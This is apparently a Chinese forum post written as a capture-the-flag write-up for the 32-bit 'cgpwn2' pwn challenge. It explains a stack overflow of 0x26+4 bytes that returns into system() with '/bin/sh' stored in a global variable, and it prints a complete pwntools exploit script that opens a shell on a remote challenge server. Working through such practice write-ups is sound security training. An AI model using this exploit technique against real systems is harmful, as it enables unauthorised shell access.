找回密码
 立即注册
首页 业界区 业界 PWN手的成长之路-20-cgpwn2

PWN手的成长之路-20-cgpwn2

系味 3 天前
1.png

file,checksec:
2.png

main 函数:
3.png

hello 函数:
4.png

name 中可以保存字符串,因此我们在 name 中输入 /bin/sh,那么我们就可以利用变量 name 的内存地址,得到 system('/bin/sh'),从而得到shell。
pwn 函数(存在system):
5.png

溢出大小为:0x26+4
6.png

我本来在ROPgadget中找到了 sh 字符串,但是一直无法成功得到shell,之后查看才得知,这个sh并不是单纯的 sh。草率了。但是不知道为什么 ciscn_2019_ne_5 可以跑通。求师傅指教。
7.png

8.png

9.png

payload加入main函数,原因:32位和64位的结构不同,32位调用一个函数需要返回地址,之后再调用其他的进行传参,而且32位是用栈传递参数的,而64为使用比如rdi,rsi等寄存器进行传参,因此需要插入一个 main 函数作为返回地址。
利用exp:
  1. from pwn import *
  2. #start
  3. r = remote('61.147.171.35',63069)
  4. context.log_level = 'debug'
  5. elf = ELF('./pwn')
  6. #params
  7. #system_addr = 0x8048420
  8. system_addr = elf.sym['system']
  9. main_addr = elf.sym['main']
  10. name_addr = elf.sym['name']
  11. #attack
  12. payload = b'a'*(0x26+4) + p32(system_addr) + p32(main_addr) + p32(name_addr)
  13. r.sendlineafter(b'name',b'/bin/sh')
  14. r.sendline(payload)
  15. r.interactive()
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

昨天 00:49

举报

鼓励转贴优秀软件安全工具和文档!
您需要登录后才可以回帖 登录 | 立即注册